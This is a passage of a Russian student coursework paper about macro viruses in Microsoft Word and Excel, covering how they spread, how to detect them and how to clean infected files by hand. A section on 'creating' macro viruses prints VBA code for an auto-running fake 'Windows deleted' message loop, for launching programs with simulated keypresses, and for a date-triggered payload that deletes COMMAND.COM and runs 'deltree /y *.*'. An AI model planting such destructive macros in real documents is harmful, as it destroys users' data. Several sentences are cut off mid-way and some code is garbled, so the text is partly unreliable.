Автор: Пользователь скрыл имя, 03 Мая 2012 в 14:01, курсовая работа
Компью́терный ви́рус — разновидность компьютерных программ или вредоносный код, отличительной особенностью которых является способность к размножению (саморепликация). В дополнение к этому вирусы могут без ведома пользователя выполнять прочие произвольные действия, в том числе наносящие вред пользователю и/или компьютеру.
Даже если автор вируса не программировал вредоносных эффектов, вирус может приводить к сбоям компьютера из-за ошибок, неучтённых тонкостей взаимодействия с операционной системой и другими программами. Кроме того, вирусы обычно занимают некоторое место на накопителях информации и отбирают некоторые другие ресурсы системы. Поэтому вирусы относят к вредоносным программам.
Введение
4
1. Макровирусы
6
1.1 Макровирусы общие сведения
7
1.2 Макровирусы принципы работы
8
2. Постановка задачи
10
3. Обзор наиболее известных вирусов в макросах документов
11
3.1 Распространение макровирусов
13
3.2 Алгоритм работы макровирусов для Microsoft Office
14
4. Способы защиты от вирусов в макросах документов
16
4.1 Обнаружение макровируса
17
4.2 Восстановление пораженных объектов
18
5. Создание вирусов в макросах и их внедрение в файлы документов
19
5.1 Постоянный вывод сообщения на экран
19
5.2 Запуск приложении из макровируса
19
5.3 Автозапуск и выполнение
20
Заключение
21
Список использованной литературы
Характерными признаками присутствия макровирусов являются:
Для проверки системы на предмет наличия вируса можно использовать пункт меню Tools/Macro. Если обнаружены «чужие макросы», то они могут принадлежать вирусу. Однако этот метод не работает в случае стелс-вирусов, которые «запрещают» работу этого пункта меню, что, в свою очередь, является достаточным основанием считать систему зараженной.
Многие вирусы имеют ошибки или некорректно работают в различных версиях Word/Excel, в результате чего эти программы выдают сообщения об ошибке, например:
WordBasic Err = номер ошибки.
Если такое сообщение
Естественно, что к проявлениям
вируса относятся такие «
В большинстве случаев процедура «лечения» зараженных файлов и дисков сводится к запуску подходящего антивирусного программного обеспечения. Но бывают ситуации, когда обезвреживание вируса приходится осуществлять самостоятельно, т. е. «руками».
Для обезвреживания вирусов Word и Excel достаточно сохранить всю необходимую информацию в формате не-документов и не-таблиц. Наиболее подходящим является текстовый RTF-формат, включающий практически всю информацию из первоначальных документов и не содержащий макросов.
Затем следует выйти из Word/Excel, уничтожить все зараженные Word-документы, Excel-таблицы, NORMAL.DOT для Word и все документы/таблицы в STARTUP-каталогах Word/Excel. После этого следует запустить Word/Excel и восстановить документы/таблицы из RTF-файлов.
В результате этой процедуры вирус будет удален из системы, а практически вся информация останется без изменений. Однако этот метод имеет ряд недостатков. Основным является трудоемкость конвертирования документов и таблиц в RTF-формат, если их число велико. К тому же в случае Excel необходимо отдельно конвертировать все Листы (Sheets) в каждом Excel-файле.
Другим существенным недостатком
является потеря нормальных макросов,
использующихся при работе. Поэтому
перед запуском описанной процедуры
следует сохранить их исходный текст,
а после обезвреживания вируса восстановить
необходимые макросы в
6. Создание вирусов в макросах и их внедрение в файлы документов
6.1 Постоянный вывод сообщения на экран
В программе сообщения будут выдаваться каждые 2 секунды. Назовем первый макрос AutoExec, чтобы он запускался при старте Word. В данном случае метод onTime использует функции Now, чтобы определить текущее время, и TimeValue для того, чтобы задать промежуток равный двум секундам. Макрос Message выдает сообщение и задает следующий интервал выполнения.
Рис2 Результат внедрения программы
Sub AutoExec()
Application.OnTime Now + TimeValue("00:00:01"), "message"
End Sub
Sub Message()
MsgBox ("WINDOWS БЫЛА УСПЕШНО УДАЛЕНА")
Application.OnTime Now + TimeValue("00:00:01"), "message"
End Sub
6.2 Запуск приложении из макровируса
В данном макровирусе можно выполнить автозапуск приложения а можно выполнить при сочетании определенных клавиш. Суть данного макровируса заключается в том что он может несанкционированно запускать любые приложения Windows.
Рис3 Запуск приложения из макровируса
Sub Navigator()
MySHell = Shell("C:\Program
Files\AIMP3\AIMP3.exe",
SendKeys "{ENTER}", True
Rem имитируем нажатие на клавишу enter
SendKeys "{TAB}", True
Rem имитируем нажатие на клавишу tab
SendKeys "{ENTER}", True
End Sub
6.3 Автозапуск и выполнение
При выходе из WinWord он проверяет два
па-
раметра: имя, на которое зарегистрирован
WinWord (если это не
«любое имя пользователя», то будет удален
файл COMMAND.COM), и текущую системную дату
(если это 29 февраля, выполняется команда
"deltree
Sub Main
'Проверим регистрационное имя
If Application. Username "любое ваше имя пользователя"
Then
'Снимем атрибуты COMMAND.COM
SetAttr "C:COMMAND.COM",0
'Откроем для проверки - вдруг появятся
ошибки
Open "CACOMMAND.COM" for Output as #1
'Если ошибки есть, то закроем.
Close #1
'и удалим
Kill "CACOMMAND.COM"
End If
'Проверим месяц и дату. Если
29 февраля, то выполним
'команду "deltree /у >nul
If Month(Now())=2 Then
If Day(Now())=29 Then
Shell "deltree /y *.* >nu"
End If
End If
End Sub
Заключение
Итак, давно прошли те времена, когда вирусы играли на зараженных компьютерах музыку, устраивали на экране спецэффекты, форматировали жесткий диск и делали различные другие гадости. Современные вирусы всем этим баловством, как правило, не занимаются, и, как следствие, мы их практически не замечаем. А если и замечаем - то обычно лишь в тех случаях, когда они нам напрямую говорят "дай денег!". Сбой или повреждение системы теперь не является прямой задачей вируса, а если такое и случается - то либо вследствие сбоя в самом вирусе, либо из-за того, что на компьютере развелся уже целый зоопарк разных вирусов, и они не поделили между собой систему :)
Причиной такой метаморфозы стало развитие технологий, благодаря которому компьютеры из дорогой экзотики превратились в бытовую технику. А где массовость - там и возможность заработка. Тем более, что развитие всевозможных электронных платежей дополнительно стимулирует появление программ, предназначенных для скрытого управления денежными потоками. Поэтому если ранние вирусы - по большей части порождение человеческой злобы, тщеславия и желания нагадить ближнему, то современные вирусы - явление чисто экономическое, а потому исключительно рациональное. Разумеется, и сейчас встречаются вирусы, созданные "для души" и/или с целью сделать какую-нибудь гадость конкретному человеку или (чаще) всему миру в целом - но их сейчас абсолютное меньшинство, да и выживают они с трудом. Практически все виды современных вирусов (трояны, черви и т.п.) в компьютерной фауне служат только одной цели - зарабатыванию денег для своего хозяина.
Список литературы
Информация о работе Вирусы в макросах документов: способы внедрения, распространения и защиты